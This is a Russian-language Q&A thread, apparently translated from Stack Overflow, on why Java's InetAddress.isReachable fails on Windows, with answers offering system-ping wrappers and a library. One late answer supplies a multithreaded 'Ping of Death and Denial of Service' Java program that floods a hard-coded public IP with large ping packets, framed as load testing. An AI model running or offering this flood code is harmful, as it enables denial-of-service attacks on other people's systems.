Как сделать настоящий Java-пинг из Windows? - PullRequest
28 голосов
/ 15 марта 2010

У меня есть устройство в сети, которое я пытаюсь пропинговать через программу Java. Через командную строку Windows я могу проверить пинг с адреса устройства и выполнить трассировку по адресу.

В сети я видел, что для выполнения пинга через Java вам нужно сделать следующее:

InetAddress.getByName(address).isReachable(timeout);

Но, когда я использую этот код в адресе своего устройства, он всегда возвращает false в моей программе. Я использую правильный адрес IPv4 с хорошим значением времени ожидания. Кроме того, если я использую адрес локального хоста, он работает нормально.

Почему я могу пропинговать устройство через cmd, а не через мою программу? Я слышал в разных местах, что это не истина пинг.

Есть ли лучший способ эмулировать пинг в Java?

Спасибо

Ответы [ 8 ]

27 голосов
/ 15 марта 2010

isReachable() будет использовать ICMP ECHO REQUEST s , если привилегия может быть получена , в противном случае он попытается установить TCP-соединение через порт 7 (Echo) хоста назначения.
Таким образом, ваша проблема, вероятно, связана с проблемой конфигурации, связанной с недостаточным количеством разрешений для этого на клиентском компьютере, или с проблемой порта 7 на сервере, если у вашего клиента нет разрешения на ICMP ECHO REQUEST. Возможно, в обоих случаях вам нужно разрешить одну или другую сторону, чтобы заставить это работать.

Я протестировал следующее на клиентах OSX и Linux, и оно работает при тестировании на доступность других машин с OSX, Linux и Windows Server. У меня нет компьютера под управлением Windows, чтобы запустить его в качестве клиента.

import java.io.IOException;
import java.net.InetAddress;

public class IsReachable
{
    public static void main(final String[] args) throws IOException
    {
        final InetAddress host = InetAddress.getByName(args[0]);
        System.out.println("host.isReachable(1000) = " + host.isReachable(1000));
    }
}

из того, что я прочитал здесь . Это, очевидно, ограничение Windows, и ICMP PING не поддерживается в Windows как системный вызов, предшествующий Windows 2000, поэтому по умолчанию он пытается подключиться к порту 7, и он заблокирован на машине, к которой вы пытаетесь «добраться». Java пока не поддерживает новый системный вызов. Функция прав доступа предназначена для систем на основе Unix, так как они требуют, чтобы root отправлял ICMP пакетов.

Если вы хотите свернуть свой собственный Windows JNI ICMP PING для Windows 2000 и новее, есть функция IcmpSendEcho .

9 голосов
/ 29 июля 2012

Я использую эту функцию (из этой статьи ), когда мне нужен настоящий ICMP-пинг в Windows, Linux и OSX (другие системы я не тестировал)

public static boolean isReachableByPing(String host) {
    try{
            String cmd = "";
            if(System.getProperty("os.name").startsWith("Windows")) {   
                    // For Windows
                    cmd = "ping -n 1 " + host;
            } else {
                    // For Linux and OSX
                    cmd = "ping -c 1 " + host;
            }

            Process myProcess = Runtime.getRuntime().exec(cmd);
            myProcess.waitFor();

            if(myProcess.exitValue() == 0) {

                    return true;
            } else {

                    return false;
            }

    } catch( Exception e ) {

            e.printStackTrace();
            return false;
    }
}
2 голосов
/ 12 ноября 2011

Немного поздно, но я наткнулся на это, пытаясь сделать то же самое.

Один из обходных путей, который мне пригодился и который я использовал, состоял в том, чтобы просто использовать команду ping напрямую.

    public static boolean ping(String host)
{
    boolean isReachable = false;
    try {
        Process proc = new ProcessBuilder("ping", host).start();

        int exitValue = proc.waitFor();
        System.out.println("Exit Value:" + exitValue);
        if(exitValue == 0)
            isReachable = true;
    } catch (IOException e1) {
        System.out.println(e1.getMessage());
        e1.printStackTrace();
    } catch (InterruptedException e) {
        e.printStackTrace();
    }
    return isReachable;
}
1 голос
/ 10 марта 2016

Для простого пинга из Java без привилегий, я использую http://www.icmp4j.org

Это очень удобно:

    final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();

    request.setHost ("www.google.org");

    // repeat a few times

    for (int count = 1; count <= 4; count ++) {

        // delegate

         final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);

         // log

         final String formattedResponse = IcmpPingUtil.formatResponse (response);

         System.out.println (formattedResponse);

         // rest

         Thread.sleep (1000);

    }
1 голос
/ 08 июля 2013

Я видел много плохого кода, написанного на эту тему. Код, который работал для меня, это (сайт не знает, как правильно проанализировать мой файл кода):

public class Test {

    public static boolean isReachablebyPing(String ip) {

        try {
            String command;

        if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
            // For Windows
            command = "ping -n 2 " + ip;
        } else {
            // For Linux and OSX
            command = "ping -c 2 " + ip;
        }

        Process proc = Runtime.getRuntime().exec(command);
        StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
        outputGobbler.start();

        proc.waitFor();
        return checkAvailability(outputGobbler.getOutputLines());

        } catch(IOException | InterruptedException ex) {
        Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

        return false;
    }

    public static void main(String... args) {

        String ip = "10.20.20.17";   // false in my case
        String ip1 = "10.20.20.100"; // true in my case

        System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
        System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
    }

    private static boolean checkAvailability(List<String> outputLines) {

        for(String line : outputLines) {
            if(line.contains("unreachable")) {
                return false;
            }
            if(line.contains("TTL=")) {
                return true;
            }
        }
        return false;

    }

}

class StreamGobbler extends Thread {

    protected InputStream is;

    protected String type;

    protected List<String> outputLines;

    StreamGobbler(InputStream is, String type) {
        this.is = is;
        this.type = type;
        outputLines = new ArrayList<>();
    }

    public List<String> getOutputLines() {
        return outputLines;
    }

    @Override
    public void run() {
        try {
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            String line;
            while((line = br.readLine()) != null) {
                outputLines.add(line);
            }
        } catch(IOException ex) {
                Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
        }

    }
}
1 голос
/ 11 мая 2012

Одной из причин является то, что указанное вами время ожидания слишком мало. У меня была похожая проблема, но когда я увеличил время ожидания до подходящего значения, вызов isReachable вернул правильное значение.

0 голосов
/ 15 марта 2018

Следующий код JAVA является примером Ping of Death и отказа в обслуживании с использованием Microsoft Windows. Это должно использоваться в целях тестирования для создания защиты от взлома и / или тестирования производительности сайта в случае подобных кибератак.

// BEGIN Ping of Death and Denial of Service 
import java.awt.AWTException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URISyntaxException;

import jxl.read.biff.BiffException;
import jxl.write.WriteException;

public class PoDandDoS {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args)
            throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
        Thread[] threads = new Thread[300];
        for (int i = 0; i < 300; i++) {
            threads[i] = new Thread(new Runnable() {
                public void run() {
                    try {
                        thread();
                    } catch (IOException | InterruptedException e) {
                        e.printStackTrace();
                    }
                }
            });
            threads[i].start();
        }

        for (int i = 0; i < 300; i++) {
            threads[i].join();
        }
    }

    private static void thread() throws IOException, InterruptedException {
        // Ping of Death
        String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
        Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
        BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
        String temp1 = "";
        @SuppressWarnings("unused")
        String Hostname1 = "";
        while ((temp1 = VarMove1.readLine()) != null) {
            Thread.sleep(2);
            Hostname1 = temp1;
        }
        VarMove1.close();
    }
}

Когда испытания завершены. Возможно, вы захотите использовать следующий код для очистки процессов в диспетчере задач.

import java.io.IOException;

//BEGIN  Clean Process      
public class CleanProcess {
    protected static final long serialVersionUID = 300200;
    public static void main(String[] args) throws IOException {
        // Close every process of PING and CMD running from your PC 
        Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
        Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
    }
} 
0 голосов
/ 02 февраля 2017

Использование этого не поможет в случае проверки связи с общедоступными IP-адресами на компьютере Windows :

String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);

Примечание. В документации указано, что:

Типичная реализация будет использовать ICMP ECHO REQUEST, если привилегия можно получить, в противном случае он попытается установить TCP-соединение на порту 7 (эхо) хоста назначения.

Я пробовал это, но результаты не были точными.

Что действительно сработало для меня, так это класс, написанный нашим коллегой-пользователем, который отправляет истину ICMP-пинг и возвращает истину или ложь в зависимости от статуса IP.

Нечетная проблема InetAddress.isReachable ()

...